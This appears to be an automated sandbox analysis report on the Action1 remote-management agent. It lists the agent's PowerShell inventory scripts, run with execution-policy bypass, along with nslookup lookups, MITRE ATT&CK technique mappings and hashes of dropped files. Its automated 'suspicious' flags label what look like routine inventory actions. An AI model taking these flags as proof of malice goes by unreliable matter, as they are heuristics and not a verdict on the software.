  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3272
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:240
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    PID:2968
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4956
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5472
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3160
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2972
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4168
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    PID:3192
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4728
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1460
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5340
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1212
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3564
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4300
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5488
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1336
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4516
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3264
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4976
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4576
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5996
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3320
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 135.18.128.213
    3⤵
    PID:4136
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:3264
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:1336
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:5500
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.217
    3⤵
    PID:6092
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.34
    3⤵
    PID:5476
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.213
    3⤵
    PID:2784
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:1768
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.218
    3⤵
    PID:2932
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 54.244.151.59
    3⤵
    PID:1148
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:3136
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.217.119.4
    3⤵
    PID:5708
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:3780
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:4216
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:2728
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:4464
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:928
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 216.198.79.131
    3⤵
    PID:4736
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.88
    3⤵
    PID:4744
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.88
    3⤵
    PID:260
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.117.132
    3⤵
    PID:5512
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 104.18.22.222
    3⤵
    PID:1356
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 216.198.79.67
    3⤵
    PID:5944
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.123.242.88
    3⤵
    PID:1332
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.251.30.102
    3⤵
    PID:4280
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:2820
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.27.11
    3⤵
    PID:5496
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:6092
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.84.85.40
    3⤵
    PID:5064
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.84.85.40
    3⤵
    PID:1388
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:6052
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:4516
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.130
    3⤵
    PID:3564
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:708
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:5116
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:1176
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4300
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4104
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1388
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4280
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3148
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Network Adapters_2029-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2524
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4104
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Sound Devices_2038-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2768
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Drives_2016-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2276
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Routing Tables_2028-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4876
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Event Logs_2021-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4220
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Startup Programs_2032-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2896
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Partitions_2034-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4224
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\01bhpidr\01bhpidr.cmdline"
    3⤵
    PID:1332
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES5281.tmp" "c:\Windows\SystemTemp\01bhpidr\CSC719DDE8E737E4EEF85FA183B3A5F9192.TMP"
      4⤵
      PID:2196
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\WebP Vulnerability Status_2051-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5488
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1508
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Logon Statistics_2013-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1148
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MOVEit Vulnerability Status_2050-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59e009.rbs

Path C:\Config.Msi\e59e009.rbs
Size 240KB
SHA256 770ccad48c2670cbebff8e0739740052cc5d4e673f6dc11e88e155847c555cf8
MD5 3dac8b7c3481ae12916bd1554236850b
SHA1 5793e4bd55ba3f3db784d945cd1a43d2b8f3b80d
SHA512 e7b7bc50c64a84692c93a4164b353cada52e179150e8e854d2ef0047151fbe219b6d4a37364956511d5c532883140a42506f537df1d6401fed3bd576ae9814a9
SSDEEP 3072:hXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:hqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T1C3348E217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1ABB7727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e59e00a.rbs

Path C:\Config.Msi\e59e00a.rbs
Size 7KB
SHA256 6f3f09f0c6c10078e57c23165b9e02520c0f7c53378e601328fe55130fe9397c
MD5 fe47497079b6f4204d3ae459a071a493
SHA1 0c1b354c79ac6f7bb57f3f54e81d865b8e014c7d
SHA512 a4da0bc95295c1b8131592e52824a68cb1cc9187ff264b2eca37ae4e994c5ffef1f6f1f173a3d9b02eb15dd29b7f3a8dd1cb4645ac6fb30fcdc481c7e5b55da5
SSDEEP 96:cyWtPeipv7XkU71AiOliCsThqxBXkU71AiOliC6jZS2dThqxaH+35fyG9tbktqZM:cnecfChI2ChM+YS0/pj
TLSH
T14AE130017A0046F3FA6A0735C3471F9837B2D2D943112B1B8DCDA664AF5BB8D6E951CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0775400f-c4cd-4b17-acf1-f5d103c65380.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\0775400f-c4cd-4b17-acf1-f5d103c65380.tmp
Size 37KB
SHA256 e4d53ae1cc2f7a219f9067c3440b66db12125c45bd446361d2c2d7932d57f360
MD5 4a54234bc1a4abc5ea45a75baa9157d8
SHA1 78217c4ec3ac8c7a78110e9ed9b10c8942db821f
SHA512 dafd3a06d057b21b65d16b8d26a052876b2d5b87fbfa78d9e256b93bbcab6c74c91ecf22ec467e91cfaebffb9dfa96d6ba971ab28cefe5822c4879474538370c
SSDEEP 768:hF9R3bwgzcASspmtdEjztGOeRFZD1fTos7RjIoaTZc7LW:dR3Z0mY1fT/Rs9WC
TLSH
T1DD037C36E894CE27ADF6D781A3097B87EEE011A3C9D889C4D6C95D4D00C76DE134BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

08ed249e-f873-43cc-a14a-6f51f0b5b539.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\08ed249e-f873-43cc-a14a-6f51f0b5b539.tmp
Size 37KB
SHA256 3f4476de80d17b3abe1811a973d7b27771c9b17e81cadc027c58daa2bc67b2c1
MD5 73aed8ab8ee65d6bb0fff329b8152d52
SHA1 95902d2d045c841540413ffe719eddcbc23e7b2f
SHA512 1a0bacef3f5d1af07e5f330919621b44ee8cfd1ba65bb920b09a48b9d0f209f42ef6950425f92025f1457c6b792e83d22a4b02d623c1eb19ccaf140c135c0a1b
SSDEEP 768:z/UxvxjgC+k3Nd/ybNbspmtbOeRFZD1fTos7Rz9/+Pu:GZj3+k3NFJY1fT/RxKu
TLSH
T19E03CF3AF8949D338CF7E244B24A774BBFF455B385C91A9809ED2E0E158BB9D1307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

61dbed66-e955-4c6a-a65b-1ffdc4b9af73.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\61dbed66-e955-4c6a-a65b-1ffdc4b9af73.tmp
Size 38KB
SHA256 cf0c42240fd641c00ae9104d5c9741ab224f2560f2061b5695d235095c8841c9
MD5 6bca0cfe072bab55f53050302c776d31
SHA1 9ba6039f132b5c38584462a9fe359af19b206d3e
SHA512 27ba6f563e4a2b2cb79e81c9100713df0f75b2bb4a3c81d355943f69b0ecfce8e41c1c716d69135f59997360255da5e634c4f2eb900d343cc6e7af71932260a4
SSDEEP 768:g/UxvxjgC+k3qzmybNbspmtdEjzt6OeRFZD1fTos7RCI/+Pu:NZj3+k3qCuqY1fT/RzKu
TLSH
T11503B039B8949C339CF6E244B24A778BFFF414B389C95D9849D96E0E0487B9D134B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8e36702f-951b-4953-9f13-b9075b45dd56.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\8e36702f-951b-4953-9f13-b9075b45dd56.tmp
Size 38KB
SHA256 ac3f68394765d4df2dbf05e48a4b3dae07c24296c391f73a523d1d17ee80b6f0
MD5 86cc62efa440904181094d694716eb3f
SHA1 1c6a197d81f6b06f8ad72ff7ccb9804a7f446efc
SHA512 41b0c16a80c2b6bcf93c2cc83f4a5dd034611bdb72334c0119d3e956cc32e3614c836f1c919fa63d8c5cb9ec3fc8c520b25fca12eee740feda6eeb926c011c0a
SSDEEP 768:Z/UxvxjgC+o3aOwybNbspmtdEjztjOeRFZD1fTos7RjI23g:MZj3+o3aBuHY1fT/Rs23g
TLSH
T1E103B03578A49C339CF6E254B24A7787FFF414B389C95D9845E85E0E08C7B9D170B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9d68edd6-1471-4ae7-ae81-61b3eba4828d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9d68edd6-1471-4ae7-ae81-61b3eba4828d.tmp
Size 33KB
SHA256 1b2ffe91d2f8e358de1444ddbcf1986d02716f3d6f5b8466caff2242d4edd5e6
MD5 da23110102e624e31e822bc120ed7721
SHA1 5623d7748fe05e2d2b32239dcf0ba2ffa7d2fbce
SHA512 50f8e816cbdc647e47d7a839134a1dcd7ca5d6236e76d1dd110c5879bcc11dc44a6468e153a50e212af3904921fe974f4443908421c5da09e4955c28b6604353
SSDEEP 768:5U3fcwybNbspmtdEjztKOeRFZD1fTos7RjIoaTZc7LW:5U3fvuCY1fT/Rs9WC
TLSH
T1EAF2AE34B8A49D234CF6E251B24A3787BEF465A3C9C80D88D5D95E1D04C7B9E274B82A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a201096456be1e380b7687844e70aa8e2d987a06740acf66db0d56e000a3b50d
MD5 36c9bdf74494657a1636bbc59af48eb0
SHA1 aea8177ffde7e43fa1b4cc5ce6c7cf68c2431306
SHA512 2cf6da34ccb1c58e4f6d50681952d27ffc828c4ede6f38ca0a5e429a4f520e426913b04469e4272eed54102a541263bbb54c2628f542fbe357a4afac921bb49e
TLSH
T143D02B79E7DC8512C0C2207C015811A231B37E00EB0802C00905400C18001C20323F0D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4123fa2cc2e73053b7602d1d53a57b01f3a6cd8872729fcd7ed66886082b1b99
MD5 5100dc5469c5151f9ac793573116a7fa
SHA1 a8ffca7210c348bef0d710a66e334809b7f58988
SHA512 ead3d81382dc13f1d89e928af9189e5eec6cf3fabfb91ed18d73f1fe38b5e9f76e77fae594633baf6da19747d70fbb17eb97a8a36df60510a930f6006986acfc
TLSH
T1F4D02B75E7EC8412C0C2207C015911A231A37E00D70802C00A05801C18001C20322F09
MD5 SHA1 SHA512 TLSH

Submit Download

3d831f03-50ff-410d-881c-40c9bf049496.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\3d831f03-50ff-410d-881c-40c9bf049496.tmp
Size 11KB
SHA256 bff0644518918d8106336dd0eed92542c3aaf87f1bf4fa5b04471c4dfed00332
MD5 be672e2eff0c6e603a1d957c2d8c2305
SHA1 c80ea20d737dcf3feb7dfd06f74561ff75263676
SHA512 dd79c4f0f4c4a42a6f00b834c4ba35631aa3df19cb30754eb9668c9fbbf6839ae7fdfc0897db0f5496730d44a1778df0bc49f10c78b2d6d9b1116f3cdd10af79
SSDEEP 192:sxRLReTR/f1sq0cZ/vzoA8pi/g6+WNIYDST2GAIgDGAHJ:sxRLaR/f1s3iei/5IWhp
TLSH
T1FB42B715AE28E93B8CCBD31DBB657F53D6F91432A1901E48A6FC8A1C14E76DD120781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5282444f-bb12-4aa1-8490-7d98166fbd8c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\5282444f-bb12-4aa1-8490-7d98166fbd8c.tmp
Size 29KB
SHA256 88e6fc89a3d62b7b52d6d6b58293d5d9542ec50011eac9116e7fe63d12dd07be
MD5 f57d7781e0ad667f4e7b607fb8bb43e1
SHA1 fb4ac55a077190f45f8f641463ab64ed9284825a
SHA512 24ae5c583ee358bfdf69dea6f16e65c605333a8c0fd67cbf48c785db600e8b75e5168b0e47dc707cae1366d8cce7e117931b50a2f7d197a2f3b13eec443c5fb9
SSDEEP 768:SzYbIq7pLuLj7UWgasfA68F1+UoAYDCx9Tuqh0VfUC9xbog/OVvgw8WShroGLXW:SzYbICEj7UWgasfA6u1jawgwtSaCXW
TLSH
